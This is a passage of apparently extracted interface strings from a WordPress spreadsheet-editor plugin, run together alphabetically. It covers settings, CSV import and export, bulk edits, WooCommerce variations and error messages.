products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC.By default, if the product is variable, we activate "used for variations" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option.By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we create 100 copies per batchBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option.By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this optionBy default, we only display 30 characters. You can increase the number here to view larger previews.By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running.By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns.By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons onlyBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChange background colorChanges savedChanges saved successfullyCheckboxClear valueClick here to export the settingsClick here to show all columns againClickable buttonClicks avoided
                  (estimated)CloseColumn formatColumn groupsColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn settings defined in the columns managerColumn sizesColumn titlesColumn width (pixels)Columns could not be saved. Try again.Columns created manuallyColumns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)Comment countCommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy variationsCopy variations and attributes from this product:Copy variations faster: Number of variations to copy per batchCopy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrencyCurrent spreadsheetCustom Database Tables SpreadsheetCustom attribute namesCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresDark modeData missing, try again later.Data sourceDateDate (GMT)Date and timeDate range fromDaysDeactivate the data prefetchDecimals separatorDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefaultDefault attributeDefault attributesDefault sort orderDefault: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelledDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete rowsDelete serialized fieldDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic activation of "is visible" for attributes on products?Disable the automatic activation of "used for variations" for attributes on variable products?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the display of file names in the image columns?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the help toolbar?Disable the popup that asks you to install important extensions?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisconnecting the current site from your Google account and the WP Sheet Editor API will pause the sync jobs you created on this site. However, sync jobs created by other users on this site, which sync to their own Google accounts, will remain active. Your other WordPress sites will continue to function normally. Do you want to continue?Display raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before.Do you want to update or create items?Don't display the disabled columns in the modules?Don't show read-only columns in the advanced search?DownloadDownload %d IDDownload %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownload updateDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).DuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate rows: Number of copies to create per batchDuplicate this item:EDD Download FilesEDD Variable PricesENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in a SpreadsheetEdit meta keyEdit only parent productsEdit only variationsEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit the same rows that I manually selected previouslyEdit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEmail messageEmail subjectEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the dark mode?Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a date format. List of formats. Example: Y-m-d H:i:sEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-dEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:sEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a username or email...Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this: red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by %sEnter multiple terms separated by commasEnter one URL per lineEnter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategoriesEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the attribute nameEnter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the term name or slug.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error on row ID: %d - %sError. The math engine could not execute the math operation: %1$s, ID: %2$dError. The status column must be enabled in the spreadsheet before we can remove duplicates.Error: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExitExit Full ScreenExportExport and import settingsExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtension nameExtensionsExtensions that require updateFTP Images: Skip images with same file name?Favorite search fieldsFeatured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldFile (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the blog categories, we will only accept blog categories in this column.For example, if you select the post type "product", we will only accept product titles.For example, select "Spanish" and "German" here and we'll find products that don't have spanish translations or german translations.For example, select "Spanish" and "German" here and we'll find terms that don't have spanish translations or german translations.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerate serialized fields columns based on these postsGet instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGive SpreadsheetGlobal sortGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slowerHere you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow are the multiple values saved in the database?How do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How do you want to save the multiple terms?How is the file saved in the database?How is the post saved in the database?How is the taxonomy term saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsI.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("IDIf the column has a very long text, we will remove the html and shorten it to a number of words.If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute.If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours.If you click on the "download" button, we will download the file from the official website: wpsheeteditor.com.If you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImage preview height inside the cellImage preview width inside the cellImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImport settingsImportant extensionsImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingIn the last x daysIn the last x hoursIn the last x weeksIn the last x yearsIn this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeIntegrationsInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #8W89PWQ. Math formula is invalid.Invalid #PQ8PHP. The PHP function does not exist: %sInvalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.InventoryIs DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations.Items loaded in the spreadsheetJust save changesKeyLabelLast editLeave empty to use the global settings.Leave this empty if you want to unset the term.LengthLight modeLinks ColorList of deleted columnsLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLocked cells only show a preview of the value. The default character length is %dLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Manage taxonomy column values as term slugs?Manage the post parent column using IDs?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum meta fields displayed in the advanced filters dropdownMaximum number of characters displayed in the preview of the values of tinymce columns?Maximum number of seconds to download external images?Maximum number of variations per combination of attributesMaximum number of wordsMaximum visible characters in locked cellsMaybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider.Media Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)Mime typeMiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified Date (GMT)Modified cellsModified rowsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMulti select dropdownMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this exportName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew multi select dropdown (Default)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.No, remove everything after the text, without including the textNormal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.NumberNumber of decimalsNumber of rows to process per batch:OKOld single select autocompleteOld slugOlder versions of Microsoft ExcelOne email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row).One variation row has a parent product that does not exist. The "parent" column contains the %1$s: %2$s. Please correct it and start a new importOnly administrators are allowed to send emails to users.Only copy new variationsOnly create new items, ignore existing itemsOnly for advanced users. Read more.Only send one email per email address?Oops, nothing foundOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsPHP FunctionPage ParentPagesParentParent Spreadsheet:PasswordPaste the settings here (the contents of the exported file). Notes:Paste using keyboard: Ctrl+VPausePeople will reply to this email addressPing statusPlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the email subject and email message.Please enter the name of the spreadsheet views separated by commas.Please indicate which terms you want to remove.Please make a database backup before the import to be safePlease make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the background colorPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please type the word DELETE and press enter to proceed:Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "PositionPost dropdownPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)Post types created with WP Sheet EditorPostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %1$d of %2$d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRaw HTMLRead-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens.Realign cellsRegular PriceRegular priceRemember this column mapping configuration?Remove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove duplicates with same title and contentRemove duplicates with same title and content (delete the latest)Remove duplicates with same title and content (delete the oldest)Remove everything after some textRemove everything after this textRemove everything before some textRemove everything before thisRemove featured imageRemove help messages from the cells?Remove terms from postsRemove the existing value and leave the field empty. Read moreRemove the text from above too?Remove the text too?Rename columnReplaceReplace a default attribute termReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that rangeReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
